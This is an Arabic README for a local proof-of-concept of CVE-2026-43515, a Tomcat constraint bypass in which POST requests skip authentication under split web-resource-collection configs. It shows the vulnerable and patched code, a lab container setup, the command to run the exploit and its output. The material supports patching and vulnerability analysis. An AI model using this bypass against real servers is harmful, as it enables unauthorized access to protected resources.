
إثبات قابلية الاستغلال لـ CVE-2026-43515 (تجاوز قيود Apache Tomcat).
حكم قابلية الاستغلال: مؤكَّد أن الثغرة قابلة للاستغلال. طلب POST إلى مورد محمي بتهيئة
<web-resource-collection>مقسّمة يتجاوز المصادقة بالكامل. شكلweb.xmlالمطلوب غير شائع في النشرات القياسية — راجع التحليل للتفاصيل.
CVE-2026-43515 هي ثغرة في منطق تقييم قيود الأمان في Apache Tomcat. عندما يعرّف <security-constraint> واحد كتل <web-resource-collection> متعددة تتشارك نفس نمط امتداد URL (مثل *.html) لكن كل واحدة منها تُعلن طريقة HTTP مختلفة، يطبّق Tomcat القيد على طريقة HTTP المُعلنة فقط في المجموعة المطابقة الأولى، ويتم تجاهل جميع المجموعات اللاحقة بصمت.
قصد المسؤول:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
ما يطبّقه Tomcat فعلياً قبل الإصلاح:
GET *.html → 401 — تم تطبيق القيد ✓POST *.html → 200 — تم إسقاط القيد بصمت ✗| النطاق المتأثر | الإصلاح في |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
يقع الخطأ في findSecurityConstraints(Request, Context) داخل org.apache.catalina.realm.RealmBase. تم تعريف عَلم matched والمؤشر pos خارج الحلقة الخاصة بكل مجموعة:
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
بمجرد أن طابقت collection[0] نمط الامتداد *.html، تم تجميد pos عند القيمة 0. وبناءً عليه، تم تنفيذ استدعاء findMethod("POST") على collection[0] (التي تُعلن GET فقط) وأعاد false. لم تتم إضافة أي قيد إلى results لطلب POST، واستنتج AuthenticatorBase أن الطلب لا يخضع لأي قيد.
ينقل الإصلاح (commit 276087d) عَلم matched إلى داخل الحلقة ويستبدل collection[pos] بـ collection[j]، بحيث يتم تقييم كل مجموعة بشكل مستقل:
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
تم تأكيد الالتفاف وإعادة إنتاجه بنجاح. يجعل سجل Tomcat المفصّل الآلية واضحة لا لبس فيها:
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
لا يتم تفعيل الثغرة إلا مع نمط معيّن في web.xml: <security-constraint> واحد يحتوي على عدة كتل <web-resource-collection> تتشارك نفس نمط الامتداد لكنها تُعلن طرق HTTP مختلفة.
هذه التهيئة صحيحة وفقاً لمواصفات Servlet لكنها غير شائعة عملياً. معظم النشرات إما:
<http-method> بالكامل (لحماية جميع الطرق)، أو<security-constraint> منفصلة لكل طريقةالنشرات التي تستخدم نمط المجموعات المقسمة لتطبيق تحكم دقيق في الوصول لكل طريقة على أنماط الامتداد تكون معرّضة للخطر.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| الأداة | الإصدار | ملاحظات |
|---|---|---|
| Podman | ≥ 4.0 | Docker يعمل أيضاً |
| Go | ≥ 1.22 | لتشغيل الاستغلال محلياً |
لا توجد تبعيات خارجية لـ Go.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
انتظر بضع ثوانٍ، ثم تحقق:
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
العلامات المتاحة:
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| المورد | الرابط |
|---|---|
| التزام الإصلاح — 11.0.x | apache/tomcat@276087d |
| التحليل الكامل — تدوينة | return-zero.dev/posts/cve-2026-43515 |
هذا المستودع مخصص للأغراض التعليمية وتحليل قابلية الاستغلال محلياً فقط. تم إجراء جميع الاختبارات على بيئة حاويات مستضافة ذاتياً. لا تشغّل هذا الإثبات المفاهيمي (PoC) ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
| 10.1.0.M1 – 10.1.54 |
| 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
| العلامة | الافتراضي | الوصف |
|---|
-target | http://localhost:8080 | عنوان Tomcat الأساسي |
-path | /protected/secret.html | مسار المورد المحمي |
-username | validuser | اسم مستخدم صالح لفحص التحقق |
-password | s3cret! | كلمة المرور لفحص التحقق |